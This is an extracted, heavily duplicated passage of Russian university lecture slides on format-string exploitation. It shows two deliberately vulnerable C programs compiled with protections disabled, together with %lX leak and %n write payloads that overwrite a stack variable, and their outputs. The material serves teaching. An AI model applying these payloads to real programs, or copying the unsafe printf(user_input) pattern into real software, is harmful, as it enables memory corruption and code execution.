Лекция 3
.pdfПереполнение буфера в .bss |
Переполнение буфера в куче |
|
|
fmt_string.c |
|
1 |
# include < stdio .h > |
|
2 |
# include < string .h > |
|
3 |
# include < stdlib .h > |
|
4 void foo ( const |
char *v) |
|
5 |
{ |
|
6 |
const size_t l = strlen (v ); |
|
7 |
printf ("* &l: %lX , l: %zu\n", |
|
8 |
&l, l); |
|
9 p r i n t f ( v ) ;
10printf ("^ &l: %lX , l: %zu\n",
11&l, l);
12}
13 int |
main (int |
argc , char * argv []) |
14 { |
|
|
15 if |
( argc != |
2) exit (1); |
16foo( argv [1]);
17return 0;
18}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string
printf |
Эксплойт форматной строки |
./fmt_string aaa
* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3
./fmt_string %lX (èëè %1\$lX)
* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)
objdump -d -M intel fmt_string | grep -A 1
'call.*foo' | tail -1 ( адрес )
возврата
8048ec6: 83 c4 10 add esp,0x10
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
18/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
|
|
fmt_string.c |
|
1 |
# include < stdio .h > |
|
2 |
# include < string .h > |
|
3 |
# include < stdlib .h > |
|
4 void foo ( const |
char *v) |
|
5 |
{ |
|
6 |
const size_t l = strlen (v ); |
|
7 |
printf ("* &l: %lX , l: %zu\n", |
|
8 |
&l, l); |
|
9 p r i n t f ( v ) ;
10printf ("^ &l: %lX , l: %zu\n",
11&l, l);
12}
13 int |
main (int |
argc , char * argv []) |
14 { |
|
|
15 if |
( argc != |
2) exit (1); |
16foo( argv [1]);
17return 0;
18}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string
printf |
Эксплойт форматной строки |
./fmt_string aaa
* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3
./fmt_string %lX (èëè %1\$lX)
* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)
objdump -d -M intel fmt_string | grep -A 1
'call.*foo' | tail -1 ( адрес )
возврата
8048ec6: 83 c4 10 add esp,0x10
./fmt_string %11\$lX
* &l: FFFFD6CC, l: 6 8048EC6 &l: FFFFD6CC, l: 6
здесь 8048EC6 - адрес возврата
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
18/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
|
|
fmt_string.c |
|
1 |
# include < stdio .h > |
|
2 |
# include < string .h > |
|
3 |
# include < stdlib .h > |
|
4 void foo ( const |
char *v) |
|
5 |
{ |
|
6 |
const size_t l = strlen (v ); |
|
7 |
printf ("* &l: %lX , l: %zu\n", |
|
8 |
&l, l); |
|
9 p r i n t f ( v ) ;
10printf ("^ &l: %lX , l: %zu\n",
11&l, l);
12}
13 int |
main (int |
argc , char * argv []) |
14 { |
|
|
15 if |
( argc != |
2) exit (1); |
16foo( argv [1]);
17return 0;
18}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string
printf |
Эксплойт форматной строки |
./fmt_string aaa
* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3
./fmt_string %lX (èëè %1\$lX)
* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)
objdump -d -M intel fmt_string | grep -A 1
'call.*foo' | tail -1 ( адрес )
возврата
8048ec6: 83 c4 10 add esp,0x10
./fmt_string %11\$lX
* &l: FFFFD6CC, l: 6 8048EC6 &l: FFFFD6CC, l: 6
здесь 8048EC6 - адрес возврата
./fmt_string aaa%1\$n
* &l: FFFFD6CC, l: 7 aaa &l: FFFFD6CC, l: 3
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
18/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
|
|
fmt_string.c |
|
1 |
# include < stdio .h > |
|
2 |
# include < string .h > |
|
3 |
# include < stdlib .h > |
|
4 void foo ( const |
char *v) |
|
5 |
{ |
|
6 |
const size_t l = strlen (v ); |
|
7 |
printf ("* &l: %lX , l: %zu\n", |
|
8 |
&l, l); |
|
9 p r i n t f ( v ) ;
10printf ("^ &l: %lX , l: %zu\n",
11&l, l);
12}
13 int |
main (int |
argc , char * argv []) |
14 { |
|
|
15 if |
( argc != |
2) exit (1); |
16foo( argv [1]);
17return 0;
18}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string
printf |
Эксплойт форматной строки |
./fmt_string aaa
* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3
./fmt_string %lX (èëè %1\$lX)
* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)
objdump -d -M intel fmt_string | grep -A 1
'call.*foo' | tail -1 ( адрес )
возврата
8048ec6: 83 c4 10 add esp,0x10
./fmt_string %11\$lX
* &l: FFFFD6CC, l: 6 8048EC6 &l: FFFFD6CC, l: 6
здесь 8048EC6 - адрес возврата
./fmt_string aaa%1\$n
* &l: FFFFD6CC, l: 7 aaa &l: FFFFD6CC, l: 3
./fmt_string %.15lX%1\$n
* &l: FFFFD6CC, l: 10
0000000FFFFD6CC &l: FFFFD6CC, l: 15
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
18/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_fmt.c (уязвимая программа)
1 |
# include < stdio .h > |
2 |
# include < string .h > |
3 |
# include < stdlib .h > |
4 void foo ( const char *v) |
|
5 |
{ |
6 |
size_t l = 1; |
7 |
char buf [100]; |
8 |
printf ("* &l: %lX , l: %zu\n", |
9&l, l);
10snprintf (buf , sizeof (buf), v);
11printf ("^ &l: %lX , l: %zu\n",
12&l, l);
13printf ("buf: %s\n", buf );
14}
15 int |
main (int |
argc , char * argv []) |
16 { |
|
|
17 if |
( argc != |
2) exit (1); |
18foo( argv [1]);
19return 0;
20}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt
./vuln_fmt aaa
* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
19/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_fmt.c (уязвимая программа)
1 |
# include < stdio .h > |
2 |
# include < string .h > |
3 |
# include < stdlib .h > |
4 void foo ( const char *v) |
|
5 |
{ |
6 |
size_t l = 1; |
7 |
char buf [100]; |
8 |
printf ("* &l: %lX , l: %zu\n", |
9&l, l);
10snprintf (buf , sizeof (buf), v);
11printf ("^ &l: %lX , l: %zu\n",
12&l, l);
13printf ("buf: %s\n", buf );
14}
15 int |
main (int |
argc , char * argv []) |
16 { |
|
|
17 if |
( argc != |
2) exit (1); |
18foo( argv [1]);
19return 0;
20}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt
./vuln_fmt aaa
* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa
./vuln_fmt $(python -c 'print
"a"*100')
* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
19/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_fmt.c (уязвимая программа)
1 |
# include < stdio .h > |
2 |
# include < string .h > |
3 |
# include < stdlib .h > |
4 void foo ( const char *v) |
|
5 |
{ |
6 |
size_t l = 1; |
7 |
char buf [100]; |
8 |
printf ("* &l: %lX , l: %zu\n", |
9&l, l);
10snprintf (buf , sizeof (buf), v);
11printf ("^ &l: %lX , l: %zu\n",
12&l, l);
13printf ("buf: %s\n", buf );
14}
15 int |
main (int |
argc , char * argv []) |
16 { |
|
|
17 if |
( argc != |
2) exit (1); |
18foo( argv [1]);
19return 0;
20}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt
./vuln_fmt aaa
* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa
./vuln_fmt $(python -c 'print
"a"*100')
* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n
* &l: FFFFD6BC, l: 1 Segmentation fault
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
19/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_fmt.c (уязвимая программа)
1 |
# include < stdio .h > |
2 |
# include < string .h > |
3 |
# include < stdlib .h > |
4 void foo ( const char *v) |
|
5 |
{ |
6 |
size_t l = 1; |
7 |
char buf [100]; |
8 |
printf ("* &l: %lX , l: %zu\n", |
9&l, l);
10snprintf (buf , sizeof (buf), v);
11printf ("^ &l: %lX , l: %zu\n",
12&l, l);
13printf ("buf: %s\n", buf );
14}
15 int |
main (int |
argc , char * argv []) |
16 { |
|
|
17 if |
( argc != |
2) exit (1); |
18foo( argv [1]);
19return 0;
20}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt
./vuln_fmt aaa
* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa
./vuln_fmt $(python -c 'print
"a"*100')
* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n
* &l: FFFFD6BC, l: 1 Segmentation fault
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%2\$n
* &l: FFFFD6BC, l: 1&l: FFFFD6BC, l: 1 buf: ????00...00d
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
19/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_fmt.c (уязвимая программа)
1 |
# include < stdio .h > |
2 |
# include < string .h > |
3 |
# include < stdlib .h > |
4 void foo ( const char *v) |
|
5 |
{ |
6 |
size_t l = 1; |
7 |
char buf [100]; |
8 |
printf ("* &l: %lX , l: %zu\n", |
9&l, l);
10snprintf (buf , sizeof (buf), v);
11printf ("^ &l: %lX , l: %zu\n",
12&l, l);
13printf ("buf: %s\n", buf );
14}
15 int |
main (int |
argc , char * argv []) |
16 { |
|
|
17 if |
( argc != |
2) exit (1); |
18foo( argv [1]);
19return 0;
20}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt
./vuln_fmt aaa
* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa
./vuln_fmt $(python -c 'print
"a"*100')
* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n
* &l: FFFFD6BC, l: 1 Segmentation fault
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%2\$n
* &l: FFFFD6BC, l: 1&l: FFFFD6BC, l: 1 buf: ????00...00d
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%3\$n
* &l: FFFFD6BC, l: 1 Segmentation fault
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
19/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
vuln_fmt.c (уязвимая программа)
1 |
# include < stdio .h > |
2 |
# include < string .h > |
3 |
# include < stdlib .h > |
4 void foo ( const char *v) |
|
5 |
{ |
6 |
size_t l = 1; |
7 |
char buf [100]; |
8 |
printf ("* &l: %lX , l: %zu\n", |
9&l, l);
10snprintf (buf , sizeof (buf), v);
11printf ("^ &l: %lX , l: %zu\n",
12&l, l);
13printf ("buf: %s\n", buf );
14}
15 int |
main (int |
argc , char * argv []) |
16 { |
|
|
17 if |
( argc != |
2) exit (1); |
18foo( argv [1]);
19return 0;
20}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ vuln_fmt.c -o vuln_fmt
./vuln_fmt aaa
* &l: FFFFD6BC, l: 1 ^ &l: FFFFD6BC, l: 1 buf: aaa
./vuln_fmt $(python -c 'print
"a"*100')
* &l: FFFFD65C, l: 1&l: FFFFD65C, l: 1 buf: aaa...a (99 ðàç)
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%1\$n
* &l: FFFFD6BC, l: 1 Segmentation fault
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%2\$n
* &l: FFFFD6BC, l: 1&l: FFFFD6BC, l: 1 buf: ????00...00d
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%3\$n
* &l: FFFFD6BC, l: 1 Segmentation fault
./vuln_fmt $(echo -e "\xbc\xd6\xff\xff")%.96x%4\$n
* &l: FFFFD6BC, l: 1
&l: FFFFD6BC, l: 100 buf: ????00...00f0b2f
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
19/26 |